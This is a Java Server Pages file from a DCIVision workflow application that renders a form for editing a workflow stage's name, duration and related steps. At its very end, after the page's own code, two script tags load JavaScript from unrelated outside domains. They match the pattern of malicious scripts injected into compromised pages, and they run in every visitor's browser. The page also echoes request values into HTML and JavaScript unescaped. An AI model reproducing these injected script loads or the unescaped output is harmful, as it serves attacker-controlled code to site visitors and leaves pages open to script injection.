<%
/*
 * @(#)EditWorkflowStage.jsp
 *
 * Copyright (c) 2005 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  EditHolidayRecord.jsp

  This class is used for user record's edit and view only

    @author           Dick Xie
    @company          DCIVision Limited
    @creation date    30/05/2005
    @version          $Revision: 1.18.4.6 $
*/
try {
%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.util.Date"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<%@ page import="com.dcivision.workflow.core.SystemWorkflowConstant"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id='maintWorkflowStageForm' scope="request" class='com.dcivision.workflow.web.MaintWorkflowStageForm'/>

<html:form action="workflow/MaintWorkflowStage" onsubmit='return false'>
<html:javascript formName="maintWorkflowStageForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  String IS_BOOLEAN = (String)request.getAttribute(SystemWorkflowConstant.IS_BOOLEAN);


  List workflowStepList = (List)request.getAttribute("workflowStepList");

  WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

%>
<script language="Javascript">
<!--
function custOpSave(frm) {
frm.action="<%= request.getContextPath() %>/workflow/MaintWorkflowStage.do?groupName=<%=request.getAttribute("groupName")%>&recordName=<%=request.getAttribute("recordName")%>";
if(frm.duration.value!=0 && frm.duration.value.substring(0,1)!=0){
  return OpSave();
  }
  else{
  alert("<bean:message key='workflow.message.not_zero'/>");
  return false;
  }

}

function custOpSaveAndNew(frm) {
 if(frm.duration.value!=0 && frm.duration.value.substring(0,1)!=0){
  return OpSaveAndNew();
 }else{
  alert("<bean:message key='workflow.message.not_zero'/>");
  return false;
 }
}


-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='workflowRecordID'/>
<html:hidden property='workflowGroupID'/>

<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/><%if((!Utility.isEmpty(request.getAttribute("groupName")))&&request.getAttribute("groupName")!=null){%>[<%=request.getAttribute("groupName")%>]<%}%><%if((!Utility.isEmpty(request.getAttribute("recordName")))&&request.getAttribute("recordName")!=null){%>[<%=request.getAttribute("recordName")%>]<%}%> </font>
<layout:returnButton>ListWorkflowStage.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>&ID=<bean:write name='maintWorkflowStageForm' property='workflowRecordID'/></layout:returnButton></layout:titleFormat>
<!-- Page Title Section End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header (User Information) Begin-->
  <layout:sectionHeader name="workflow.lable.workflow_stage_information"/>
  <!-- Section Header End-->

  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='workflow.columnheader.stage_name'/>:&nbsp;</td>
    <td class="dataField" width="630">
     <html:text property='stageName' size='40' maxlength='20'/>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='workflow.columnheader.duration'/>(<bean:message key='workflow.label.days'/>):&nbsp;</td>
    <td class="dataField" width="630">
     <html:integer property='duration' size='10' maxlength='5'/>
    </td>
  </tr>

  <tr>
    <td class="<layout:classLabel />" width="150"><bean:message key='workflow.lable.related_step'/>:&nbsp;</td>
     <td class="dataField" width="630">
      <%
        String lyrBgColor = "#FFFFFF";
        if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
          lyrBgColor = "#EEEEEE";
        }
      %>
        <div id="optionDiv" style="width:400;height:150px;overflow:auto;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;border-style:inset;border-width:1;">
          <table width="100%" cellpadding="1" cellspacing="1" border="0">
        <%for (int i = 0;!Utility.isEmpty(workflowStepList) &&  i < workflowStepList.size(); i++ ) {
         WorkflowStep workflowStep = (WorkflowStep)workflowStepList.get(i);
        %>
            <tr>

              <td nowrap><html:checkbox property='relatedStepIDs' value='<%=workflowStep.getID().toString()%>'><%=workflowStep.getStepName()%></html:checkbox></td>
              <!--
              <td nowrap><html:checkbox property='isNotPending' value='<%=workflowStep.getID().toString()%>'></html:checkbox></td>
              -->
            </tr>
        <%}%>
          </table>
        </div>
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='10'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
    <html:permissionButton label="common.label.save" right='E' objectType='W' objectID="<%=currentGroup.getID()%>"  onClick="return custOpSave(maintWorkflowStageForm)"/>
      <%if (!SystemWorkflowConstant.FALSE.equals(IS_BOOLEAN)) {%>
      <html:permissionButton label="common.label.more" right="E" objectType="W" objectID="<%=currentGroup.getID()%>" onClick="return custOpSaveAndNew(maintWorkflowStageForm);"/>
      <%}%>
    <%}else if (!GlobalConstant.OP_MODE_DELETE.equals(maintWorkflowStageForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right='E' objectType="W" objectID="<%=currentGroup.getID()%>" link="MaintWorkflowStage.do?navMode=E&workflowRecordID=${maintWorkflowStageForm.workflowRecordID}&workflowStageID=${maintWorkflowStageForm.ID}"/>
    <%}%>
    </td>
  </tr>
</table>
</td></tr></table>
</html:form>
<%}catch(Exception ex) {
   LogFactory.getLog(this.getClass()).error(ex, ex);
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>